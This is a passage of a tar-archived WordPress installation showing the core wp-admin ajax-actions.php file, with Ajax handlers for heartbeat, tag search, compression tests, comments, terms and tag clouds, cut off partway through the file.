			<ul class="menu-item-transport"></ul>
		<?php
		$output .= ob_get_clean();
	}

}
��������������ajax-actions.php������������������������������������������������������������������������������������0000604�����������������00000430270�15075125354�0007647 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Administration API: Core Ajax handlers
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.1.0
 */

//
// No-privilege Ajax handlers.
//

/**
 * Ajax handler for the Heartbeat API in
 * the no-privilege context.
 *
 * Runs when the user is not logged in.
 *
 * @since 3.6.0
 */
function wp_ajax_nopriv_heartbeat() {
	$response = array();

// 'screen_id' is the same as $current_screen->id and the JS global 'pagenow'.
	if ( ! empty( $_POST['screen_id'] ) ) {
		$screen_id = sanitize_key( $_POST['screen_id'] );
	} else {
		$screen_id = 'front';
	}

if ( ! empty( $_POST['data'] ) ) {
		$data = wp_unslash( (array) $_POST['data'] );

/**
		 * Filters Heartbeat Ajax response in no-privilege environments.
		 *
		 * @since 3.6.0
		 *
		 * @param array  $response  The no-priv Heartbeat response.
		 * @param array  $data      The $_POST data sent.
		 * @param string $screen_id The screen ID.
		 */
		$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
	}

/**
	 * Filters Heartbeat Ajax response in no-privilege environments when no data is passed.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The no-priv Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );

/**
	 * Fires when Heartbeat ticks in no-privilege environments.
	 *
	 * Allows the transport to be easily replaced with long-polling.
	 *
	 * @since 3.6.0
	 *
	 * @param array  $response  The no-priv Heartbeat response.
	 * @param string $screen_id The screen ID.
	 */
	do_action( 'heartbeat_nopriv_tick', $response, $screen_id );

// Send the current time according to the server.
	$response['server_time'] = time();

wp_send_json( $response );
}

//
// GET-based Ajax handlers.
//

/**
 * Ajax handler for fetching a list table.
 *
 * @since 3.1.0
 */
function wp_ajax_fetch_list() {
	$list_class = $_GET['list_args']['class'];
	check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );

$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
	if ( ! $wp_list_table ) {
		wp_die( 0 );
	}

if ( ! $wp_list_table->ajax_user_can() ) {
		wp_die( -1 );
	}

$wp_list_table->ajax_response();

wp_die( 0 );
}

/**
 * Ajax handler for tag search.
 *
 * @since 3.1.0
 */
function wp_ajax_ajax_tag_search() {
	if ( ! isset( $_GET['tax'] ) ) {
		wp_die( 0 );
	}

$taxonomy = sanitize_key( $_GET['tax'] );
	$tax      = get_taxonomy( $taxonomy );

if ( ! $tax ) {
		wp_die( 0 );
	}

if ( ! current_user_can( $tax->cap->assign_terms ) ) {
		wp_die( -1 );
	}

$s = wp_unslash( $_GET['q'] );

$comma = _x( ',', 'tag delimiter' );
	if ( ',' !== $comma ) {
		$s = str_replace( $comma, ',', $s );
	}

if ( false !== strpos( $s, ',' ) ) {
		$s = explode( ',', $s );
		$s = $s[ count( $s ) - 1 ];
	}

$s = trim( $s );

/**
	 * Filters the minimum number of characters required to fire a tag search via Ajax.
	 *
	 * @since 4.0.0
	 *
	 * @param int         $characters The minimum number of characters required. Default 2.
	 * @param WP_Taxonomy $tax        The taxonomy object.
	 * @param string      $s          The search term.
	 */
	$term_search_min_chars = (int) apply_filters( 'term_search_min_chars', 2, $tax, $s );

/*
	 * Require $term_search_min_chars chars for matching (default: 2)
	 * ensure it's a non-negative, non-zero integer.
	 */
	if ( ( 0 == $term_search_min_chars ) || ( strlen( $s ) < $term_search_min_chars ) ) {
		wp_die();
	}

$results = get_terms(
		array(
			'taxonomy'   => $taxonomy,
			'name__like' => $s,
			'fields'     => 'names',
			'hide_empty' => false,
		)
	);

echo join( "\n", $results );
	wp_die();
}

/**
 * Ajax handler for compression testing.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_compression_test() {
	if ( ! current_user_can( 'manage_options' ) ) {
		wp_die( -1 );
	}

if ( ini_get( 'zlib.output_compression' ) || 'ob_gzhandler' === ini_get( 'output_handler' ) ) {
		update_site_option( 'can_compress_scripts', 0 );
		wp_die( 0 );
	}

if ( isset( $_GET['test'] ) ) {
		header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
		header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
		header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
		header( 'Content-Type: application/javascript; charset=UTF-8' );
		$force_gzip = ( defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP );
		$test_str   = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';

if ( 1 == $_GET['test'] ) {
			echo $test_str;
			wp_die();
		} elseif ( 2 == $_GET['test'] ) {
			if ( ! isset( $_SERVER['HTTP_ACCEPT_ENCODING'] ) ) {
				wp_die( -1 );
			}

if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate' ) && function_exists( 'gzdeflate' ) && ! $force_gzip ) {
				header( 'Content-Encoding: deflate' );
				$out = gzdeflate( $test_str, 1 );
			} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip' ) && function_exists( 'gzencode' ) ) {
				header( 'Content-Encoding: gzip' );
				$out = gzencode( $test_str, 1 );
			} else {
				wp_die( -1 );
			}

echo $out;
			wp_die();
		} elseif ( 'no' === $_GET['test'] ) {
			check_ajax_referer( 'update_can_compress_scripts' );
			update_site_option( 'can_compress_scripts', 0 );
		} elseif ( 'yes' === $_GET['test'] ) {
			check_ajax_referer( 'update_can_compress_scripts' );
			update_site_option( 'can_compress_scripts', 1 );
		}
	}

wp_die( 0 );
}

/**
 * Ajax handler for image editor previews.
 *
 * @since 3.1.0
 */
function wp_ajax_imgedit_preview() {
	$post_id = intval( $_GET['postid'] );
	if ( empty( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

check_ajax_referer( "image_editor-$post_id" );

include_once ABSPATH . 'wp-admin/includes/image-edit.php';

if ( ! stream_preview_image( $post_id ) ) {
		wp_die( -1 );
	}

wp_die();
}

/**
 * Ajax handler for oEmbed caching.
 *
 * @since 3.1.0
 *
 * @global WP_Embed $wp_embed
 */
function wp_ajax_oembed_cache() {
	$GLOBALS['wp_embed']->cache_oembed( $_GET['post'] );
	wp_die( 0 );
}

/**
 * Ajax handler for user autocomplete.
 *
 * @since 3.4.0
 */
function wp_ajax_autocomplete_user() {
	if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) ) {
		wp_die( -1 );
	}

/** This filter is documented in wp-admin/user-new.php */
	if ( ! current_user_can( 'manage_network_users' ) && ! apply_filters( 'autocomplete_users_for_site_admins', false ) ) {
		wp_die( -1 );
	}

$return = array();

// Check the type of request.
	// Current allowed values are `add` and `search`.
	if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) {
		$type = $_REQUEST['autocomplete_type'];
	} else {
		$type = 'add';
	}

// Check the desired field for value.
	// Current allowed values are `user_email` and `user_login`.
	if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) {
		$field = $_REQUEST['autocomplete_field'];
	} else {
		$field = 'user_login';
	}

// Exclude current users of this blog.
	if ( isset( $_REQUEST['site_id'] ) ) {
		$id = absint( $_REQUEST['site_id'] );
	} else {
		$id = get_current_blog_id();
	}

$include_blog_users = ( 'search' === $type ? get_users(
		array(
			'blog_id' => $id,
			'fields'  => 'ID',
		)
	) : array() );

$exclude_blog_users = ( 'add' === $type ? get_users(
		array(
			'blog_id' => $id,
			'fields'  => 'ID',
		)
	) : array() );

$users = get_users(
		array(
			'blog_id'        => false,
			'search'         => '*' . $_REQUEST['term'] . '*',
			'include'        => $include_blog_users,
			'exclude'        => $exclude_blog_users,
			'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ),
		)
	);

foreach ( $users as $user ) {
		$return[] = array(
			/* translators: 1: User login, 2: User email address. */
			'label' => sprintf( _x( '%1$s (%2$s)', 'user autocomplete result' ), $user->user_login, $user->user_email ),
			'value' => $user->$field,
		);
	}

wp_die( wp_json_encode( $return ) );
}

/**
 * Handles Ajax requests for community events
 *
 * @since 4.8.0
 */
function wp_ajax_get_community_events() {
	require_once ABSPATH . 'wp-admin/includes/class-wp-community-events.php';

check_ajax_referer( 'community_events' );

$search         = isset( $_POST['location'] ) ? wp_unslash( $_POST['location'] ) : '';
	$timezone       = isset( $_POST['timezone'] ) ? wp_unslash( $_POST['timezone'] ) : '';
	$user_id        = get_current_user_id();
	$saved_location = get_user_option( 'community-events-location', $user_id );
	$events_client  = new WP_Community_Events( $user_id, $saved_location );
	$events         = $events_client->get_events( $search, $timezone );
	$ip_changed     = false;

if ( is_wp_error( $events ) ) {
		wp_send_json_error(
			array(
				'error' => $events->get_error_message(),
			)
		);
	} else {
		if ( empty( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) ) {
			$ip_changed = true;
		} elseif ( isset( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) && $saved_location['ip'] !== $events['location']['ip'] ) {
			$ip_changed = true;
		}

/*
		 * The location should only be updated when it changes. The API doesn't always return
		 * a full location; sometimes it's missing the description or country. The location
		 * that was saved during the initial request is known to be good and complete, though.
		 * It should be left intact until the user explicitly changes it (either by manually
		 * searching for a new location, or by changing their IP address).
		 *
		 * If the location was updated with an incomplete response from the API, then it could
		 * break assumptions that the UI makes (e.g., that there will always be a description
		 * that corresponds to a latitude/longitude location).
		 *
		 * The location is stored network-wide, so that the user doesn't have to set it on each site.
		 */
		if ( $ip_changed || $search ) {
			update_user_option( $user_id, 'community-events-location', $events['location'], true );
		}

wp_send_json_success( $events );
	}
}

/**
 * Ajax handler for dashboard widgets.
 *
 * @since 3.4.0
 */
function wp_ajax_dashboard_widgets() {
	require_once ABSPATH . 'wp-admin/includes/dashboard.php';

$pagenow = $_GET['pagenow'];
	if ( 'dashboard-user' === $pagenow || 'dashboard-network' === $pagenow || 'dashboard' === $pagenow ) {
		set_current_screen( $pagenow );
	}

switch ( $_GET['widget'] ) {
		case 'dashboard_primary':
			wp_dashboard_primary();
			break;
	}
	wp_die();
}

/**
 * Ajax handler for Customizer preview logged-in status.
 *
 * @since 3.4.0
 */
function wp_ajax_logged_in() {
	wp_die( 1 );
}

//
// Ajax helpers.
//

/**
 * Sends back current comment total and new page links if they need to be updated.
 *
 * Contrary to normal success Ajax response ("1"), die with time() on success.
 *
 * @since 2.7.0
 * @access private
 *
 * @param int $comment_id
 * @param int $delta
 */
function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) {
	$total    = isset( $_POST['_total'] ) ? (int) $_POST['_total'] : 0;
	$per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0;
	$page     = isset( $_POST['_page'] ) ? (int) $_POST['_page'] : 0;
	$url      = isset( $_POST['_url'] ) ? esc_url_raw( $_POST['_url'] ) : '';

// JS didn't send us everything we need to know. Just die with success message.
	if ( ! $total || ! $per_page || ! $page || ! $url ) {
		$time           = time();
		$comment        = get_comment( $comment_id );
		$comment_status = '';
		$comment_link   = '';

if ( $comment ) {
			$comment_status = $comment->comment_approved;
		}

if ( 1 === (int) $comment_status ) {
			$comment_link = get_comment_link( $comment );
		}

$counts = wp_count_comments();

$x = new WP_Ajax_Response(
			array(
				'what'         => 'comment',
				// Here for completeness - not used.
				'id'           => $comment_id,
				'supplemental' => array(
					'status'               => $comment_status,
					'postId'               => $comment ? $comment->comment_post_ID : '',
					'time'                 => $time,
					'in_moderation'        => $counts->moderated,
					'i18n_comments_text'   => sprintf(
						/* translators: %s: Number of comments. */
						_n( '%s Comment', '%s Comments', $counts->approved ),
						number_format_i18n( $counts->approved )
					),
					'i18n_moderation_text' => sprintf(
						/* translators: %s: Number of comments. */
						_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
						number_format_i18n( $counts->moderated )
					),
					'comment_link'         => $comment_link,
				),
			)
		);
		$x->send();
	}

$total += $delta;
	if ( $total < 0 ) {
		$total = 0;
	}

// Only do the expensive stuff on a page-break, and about 1 other time per page.
	if ( 0 == $total % $per_page || 1 == mt_rand( 1, $per_page ) ) {
		$post_id = 0;
		// What type of comment count are we looking for?
		$status = 'all';
		$parsed = parse_url( $url );

if ( isset( $parsed['query'] ) ) {
			parse_str( $parsed['query'], $query_vars );

if ( ! empty( $query_vars['comment_status'] ) ) {
				$status = $query_vars['comment_status'];
			}

if ( ! empty( $query_vars['p'] ) ) {
				$post_id = (int) $query_vars['p'];
			}

if ( ! empty( $query_vars['comment_type'] ) ) {
				$type = $query_vars['comment_type'];
			}
		}

if ( empty( $type ) ) {
			// Only use the comment count if not filtering by a comment_type.
			$comment_count = wp_count_comments( $post_id );

// We're looking for a known type of comment count.
			if ( isset( $comment_count->$status ) ) {
				$total = $comment_count->$status;
			}
		}
		// Else use the decremented value from above.
	}

// The time since the last comment count.
	$time    = time();
	$comment = get_comment( $comment_id );
	$counts  = wp_count_comments();

$x = new WP_Ajax_Response(
		array(
			'what'         => 'comment',
			'id'           => $comment_id,
			'supplemental' => array(
				'status'               => $comment ? $comment->comment_approved : '',
				'postId'               => $comment ? $comment->comment_post_ID : '',
				/* translators: %s: Number of comments. */
				'total_items_i18n'     => sprintf( _n( '%s item', '%s items', $total ), number_format_i18n( $total ) ),
				'total_pages'          => ceil( $total / $per_page ),
				'total_pages_i18n'     => number_format_i18n( ceil( $total / $per_page ) ),
				'total'                => $total,
				'time'                 => $time,
				'in_moderation'        => $counts->moderated,
				'i18n_moderation_text' => sprintf(
					/* translators: %s: Number of comments. */
					_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
					number_format_i18n( $counts->moderated )
				),
			),
		)
	);
	$x->send();
}

//
// POST-based Ajax handlers.
//

/**
 * Ajax handler for adding a hierarchical term.
 *
 * @since 3.1.0
 * @access private
 */
function _wp_ajax_add_hierarchical_term() {
	$action   = $_POST['action'];
	$taxonomy = get_taxonomy( substr( $action, 4 ) );
	check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name );

if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) {
		wp_die( -1 );
	}

$names  = explode( ',', $_POST[ 'new' . $taxonomy->name ] );
	$parent = isset( $_POST[ 'new' . $taxonomy->name . '_parent' ] ) ? (int) $_POST[ 'new' . $taxonomy->name . '_parent' ] : 0;

if ( 0 > $parent ) {
		$parent = 0;
	}

if ( 'category' === $taxonomy->name ) {
		$post_category = isset( $_POST['post_category'] ) ? (array) $_POST['post_category'] : array();
	} else {
		$post_category = ( isset( $_POST['tax_input'] ) && isset( $_POST['tax_input'][ $taxonomy->name ] ) ) ? (array) $_POST['tax_input'][ $taxonomy->name ] : array();
	}

$checked_categories = array_map( 'absint', (array) $post_category );
	$popular_ids        = wp_popular_terms_checklist( $taxonomy->name, 0, 10, false );

foreach ( $names as $cat_name ) {
		$cat_name          = trim( $cat_name );
		$category_nicename = sanitize_title( $cat_name );

if ( '' === $category_nicename ) {
			continue;
		}

$cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) );

if ( ! $cat_id || is_wp_error( $cat_id ) ) {
			continue;
		} else {
			$cat_id = $cat_id['term_id'];
		}

$checked_categories[] = $cat_id;

if ( $parent ) { // Do these all at once in a second.
			continue;
		}

ob_start();

wp_terms_checklist(
			0,
			array(
				'taxonomy'             => $taxonomy->name,
				'descendants_and_self' => $cat_id,
				'selected_cats'        => $checked_categories,
				'popular_cats'         => $popular_ids,
			)
		);

$data = ob_get_clean();

$add = array(
			'what'     => $taxonomy->name,
			'id'       => $cat_id,
			'data'     => str_replace( array( "\n", "\t" ), '', $data ),
			'position' => -1,
		);
	}

if ( $parent ) { // Foncy - replace the parent and all its children.
		$parent  = get_term( $parent, $taxonomy->name );
		$term_id = $parent->term_id;

while ( $parent->parent ) { // Get the top parent.
			$parent = get_term( $parent->parent, $taxonomy->name );
			if ( is_wp_error( $parent ) ) {
				break;
			}
			$term_id = $parent->term_id;
		}

ob_start();

wp_terms_checklist(
			0,
			array(
				'taxonomy'             => $taxonomy->name,
				'descendants_and_self' => $term_id,
				'selected_cats'        => $checked_categories,
				'popular_cats'         => $popular_ids,
			)
		);

$data = ob_get_clean();

$add = array(
			'what'     => $taxonomy->name,
			'id'       => $term_id,
			'data'     => str_replace( array( "\n", "\t" ), '', $data ),
			'position' => -1,
		);
	}

ob_start();

wp_dropdown_categories(
		array(
			'taxonomy'         => $taxonomy->name,
			'hide_empty'       => 0,
			'name'             => 'new' . $taxonomy->name . '_parent',
			'orderby'          => 'name',
			'hierarchical'     => 1,
			'show_option_none' => '&mdash; ' . $taxonomy->labels->parent_item . ' &mdash;',
		)
	);

$sup = ob_get_clean();

$add['supplemental'] = array( 'newcat_parent' => $sup );

$x = new WP_Ajax_Response( $add );
	$x->send();
}

/**
 * Ajax handler for deleting a comment.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_comment() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

$comment = get_comment( $id );

if ( ! $comment ) {
		wp_die( time() );
	}

if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		wp_die( -1 );
	}

check_ajax_referer( "delete-comment_$id" );
	$status = wp_get_comment_status( $comment );
	$delta  = -1;

if ( isset( $_POST['trash'] ) && 1 == $_POST['trash'] ) {
		if ( 'trash' === $status ) {
			wp_die( time() );
		}

$r = wp_trash_comment( $comment );
	} elseif ( isset( $_POST['untrash'] ) && 1 == $_POST['untrash'] ) {
		if ( 'trash' !== $status ) {
			wp_die( time() );
		}

$r = wp_untrash_comment( $comment );

// Undo trash, not in Trash.
		if ( ! isset( $_POST['comment_status'] ) || 'trash' !== $_POST['comment_status'] ) {
			$delta = 1;
		}
	} elseif ( isset( $_POST['spam'] ) && 1 == $_POST['spam'] ) {
		if ( 'spam' === $status ) {
			wp_die( time() );
		}

$r = wp_spam_comment( $comment );
	} elseif ( isset( $_POST['unspam'] ) && 1 == $_POST['unspam'] ) {
		if ( 'spam' !== $status ) {
			wp_die( time() );
		}

$r = wp_unspam_comment( $comment );

// Undo spam, not in spam.
		if ( ! isset( $_POST['comment_status'] ) || 'spam' !== $_POST['comment_status'] ) {
			$delta = 1;
		}
	} elseif ( isset( $_POST['delete'] ) && 1 == $_POST['delete'] ) {
		$r = wp_delete_comment( $comment );
	} else {
		wp_die( -1 );
	}

if ( $r ) {
		// Decide if we need to send back '1' or a more complicated response including page links and comment counts.
		_wp_ajax_delete_comment_response( $comment->comment_ID, $delta );
	}

wp_die( 0 );
}

/**
 * Ajax handler for deleting a tag.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_tag() {
	$tag_id = (int) $_POST['tag_ID'];
	check_ajax_referer( "delete-tag_$tag_id" );

if ( ! current_user_can( 'delete_term', $tag_id ) ) {
		wp_die( -1 );
	}

$taxonomy = ! empty( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : 'post_tag';
	$tag      = get_term( $tag_id, $taxonomy );

if ( ! $tag || is_wp_error( $tag ) ) {
		wp_die( 1 );
	}

if ( wp_delete_term( $tag_id, $taxonomy ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Ajax handler for deleting a link.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_link() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

check_ajax_referer( "delete-bookmark_$id" );

if ( ! current_user_can( 'manage_links' ) ) {
		wp_die( -1 );
	}

$link = get_bookmark( $id );
	if ( ! $link || is_wp_error( $link ) ) {
		wp_die( 1 );
	}

if ( wp_delete_link( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Ajax handler for deleting meta.
 *
 * @since 3.1.0
 */
function wp_ajax_delete_meta() {
	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;

check_ajax_referer( "delete-meta_$id" );
	$meta = get_metadata_by_mid( 'post', $id );

if ( ! $meta ) {
		wp_die( 1 );
	}

if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $meta->post_id, $meta->meta_key ) ) {
		wp_die( -1 );
	}

if ( delete_meta( $meta->meta_id ) ) {
		wp_die( 1 );
	}

wp_die( 0 );
}

/**
 * Ajax handler for deleting a post.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_delete_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'delete-post';
	}

$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

if ( ! current_user_can( 'delete_post', $id ) ) {
		wp_die( -1 );
	}

if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

if ( wp_delete_post( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Ajax handler for sending a post to the Trash.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_trash_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'trash-post';
	}

$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

if ( ! current_user_can( 'delete_post', $id ) ) {
		wp_die( -1 );
	}

if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

if ( 'trash-post' === $action ) {
		$done = wp_trash_post( $id );
	} else {
		$done = wp_untrash_post( $id );
	}

if ( $done ) {
		wp_die( 1 );
	}

wp_die( 0 );
}

/**
 * Ajax handler to restore a post from the Trash.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_untrash_post( $action ) {
	if ( empty( $action ) ) {
		$action = 'untrash-post';
	}

wp_ajax_trash_post( $action );
}

/**
 * Ajax handler to delete a page.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_delete_page( $action ) {
	if ( empty( $action ) ) {
		$action = 'delete-page';
	}

$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	check_ajax_referer( "{$action}_$id" );

if ( ! current_user_can( 'delete_page', $id ) ) {
		wp_die( -1 );
	}

if ( ! get_post( $id ) ) {
		wp_die( 1 );
	}

if ( wp_delete_post( $id ) ) {
		wp_die( 1 );
	} else {
		wp_die( 0 );
	}
}

/**
 * Ajax handler to dim a comment.
 *
 * @since 3.1.0
 */
function wp_ajax_dim_comment() {
	$id      = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
	$comment = get_comment( $id );

if ( ! $comment ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'comment',
				'id'   => new WP_Error(
					'invalid_comment',
					/* translators: %d: Comment ID. */
					sprintf( __( 'Comment %d does not exist' ), $id )
				),
			)
		);
		$x->send();
	}

if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) ) {
		wp_die( -1 );
	}

$current = wp_get_comment_status( $comment );

if ( isset( $_POST['new'] ) && $_POST['new'] == $current ) {
		wp_die( time() );
	}

check_ajax_referer( "approve-comment_$id" );

if ( in_array( $current, array( 'unapproved', 'spam' ), true ) ) {
		$result = wp_set_comment_status( $comment, 'approve', true );
	} else {
		$result = wp_set_comment_status( $comment, 'hold', true );
	}

if ( is_wp_error( $result ) ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'comment',
				'id'   => $result,
			)
		);
		$x->send();
	}

// Decide if we need to send back '1' or a more complicated response including page links and comment counts.
	_wp_ajax_delete_comment_response( $comment->comment_ID );
	wp_die( 0 );
}

/**
 * Ajax handler for adding a link category.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_add_link_category( $action ) {
	if ( empty( $action ) ) {
		$action = 'add-link-category';
	}

check_ajax_referer( $action );
	$tax = get_taxonomy( 'link_category' );

if ( ! current_user_can( $tax->cap->manage_terms ) ) {
		wp_die( -1 );
	}

$names = explode( ',', wp_unslash( $_POST['newcat'] ) );
	$x     = new WP_Ajax_Response();

foreach ( $names as $cat_name ) {
		$cat_name = trim( $cat_name );
		$slug     = sanitize_title( $cat_name );

if ( '' === $slug ) {
			continue;
		}

$cat_id = wp_insert_term( $cat_name, 'link_category' );

if ( ! $cat_id || is_wp_error( $cat_id ) ) {
			continue;
		} else {
			$cat_id = $cat_id['term_id'];
		}

$cat_name = esc_html( $cat_name );

$x->add(
			array(
				'what'     => 'link-category',
				'id'       => $cat_id,
				'data'     => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr( $cat_id ) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>",
				'position' => -1,
			)
		);
	}
	$x->send();
}

/**
 * Ajax handler to add a tag.
 *
 * @since 3.1.0
 */
function wp_ajax_add_tag() {
	check_ajax_referer( 'add-tag', '_wpnonce_add-tag' );
	$taxonomy = ! empty( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : 'post_tag';
	$tax      = get_taxonomy( $taxonomy );

if ( ! current_user_can( $tax->cap->edit_terms ) ) {
		wp_die( -1 );
	}

$x = new WP_Ajax_Response();

$tag = wp_insert_term( $_POST['tag-name'], $taxonomy, $_POST );

if ( $tag && ! is_wp_error( $tag ) ) {
		$tag = get_term( $tag['term_id'], $taxonomy );
	}

if ( ! $tag || is_wp_error( $tag ) ) {
		$message = __( 'An error has occurred. Please reload the page and try again.' );

if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
			$message = $tag->get_error_message();
		}

$x->add(
			array(
				'what' => 'taxonomy',
				'data' => new WP_Error( 'error', $message ),
			)
		);
		$x->send();
	}

$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => $_POST['screen'] ) );

$level     = 0;
	$noparents = '';

if ( is_taxonomy_hierarchical( $taxonomy ) ) {
		$level = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
		ob_start();
		$wp_list_table->single_row( $tag, $level );
		$noparents = ob_get_clean();
	}

ob_start();
	$wp_list_table->single_row( $tag );
	$parents = ob_get_clean();

$x->add(
		array(
			'what'         => 'taxonomy',
			'supplemental' => compact( 'parents', 'noparents' ),
		)
	);

$x->add(
		array(
			'what'         => 'term',
			'position'     => $level,
			'supplemental' => (array) $tag,
		)
	);

$x->send();
}

/**
 * Ajax handler for getting a tagcloud.
 *
 * @since 3.1.0
 */
function wp_ajax_get_tagcloud() {
	if ( ! isset( $_POST['tax'] ) ) {
		wp_die( 0 );
	}

$taxonomy = sanitize_key( $_POST['tax'] );
	$tax      = get_taxonomy( $taxonomy );

if ( ! $tax ) {
		wp_die( 0 );
	}

if ( ! current_user_can( $tax->cap->assign_terms ) ) {
		wp_die( -1 );
	}

$tags = get_terms(
		array(
			'taxonomy' => $taxonomy,
			'number'   => 45,
			'orderby'  => 'count',
			'order'    => 'DESC',
		)
	);

if ( empty( $tags ) ) {
		wp_die( $tax->labels->not_found );
	}

if ( is_wp_error( $tags ) ) {
		wp_die( $tags->get_error_message() );
	}

foreach ( $tags as $key => $tag ) {
		$tags[ $key ]->link = '#';
		$tags[ $key ]->id   = $tag->term_id;
	}

// We need raw tag names here, so don't filter the output.
	$return = wp_generate_tag_cloud(
		$tags,
		array(
			'filter' => 0,
			'format' => 'list',
		)
	);

if ( empty( $return ) ) {
		wp_die( 0 );
	}

echo $return;
	wp_die();
}

/**
 * Ajax handler for getting comments.
 *
 * @since 3.1.0
 *
 * @global int $post_id
 *
 * @param string $action Action to perform.
 */
function wp_ajax_get_comments( $action ) {
	global $post_id;

if ( empty( $action ) ) {
		$action = 'get-comments';
	}

check_ajax_referer( $action );

if ( empty( $post_id ) && ! empty( $_REQUEST['p'] ) ) {
		$id = absint( $_REQUEST['p'] );
		if ( ! empty( $id ) ) {
			$post_id = $id;
		}
	}

if ( empty( $post_id ) ) {
		wp_die( -1 );
	}

$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );

if ( ! current_user_can( 'edit_post', $post_id ) ) {
		wp_die( -1 );
	}

$wp_list_table->prepare_items();

if ( ! $wp_list_table->has_items() ) {
		wp_die( 1 );
	}

$x = new WP_Ajax_Response();

ob_start();
	foreach ( $wp_list_table->items as $comment ) {
		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && 0 === $comment->comment_approved ) {
			continue;
		}
		get_comment( $comment );
		$wp_list_table->single_row( $comment );
	}
	$comment_list_item = ob_get_clean();

$x->add(
		array(
			'what' => 'comments',
			'data' => $comment_list_item,
		)
	);

$x->send();
}

/**
 * Ajax handler for replying to a comment.
 *
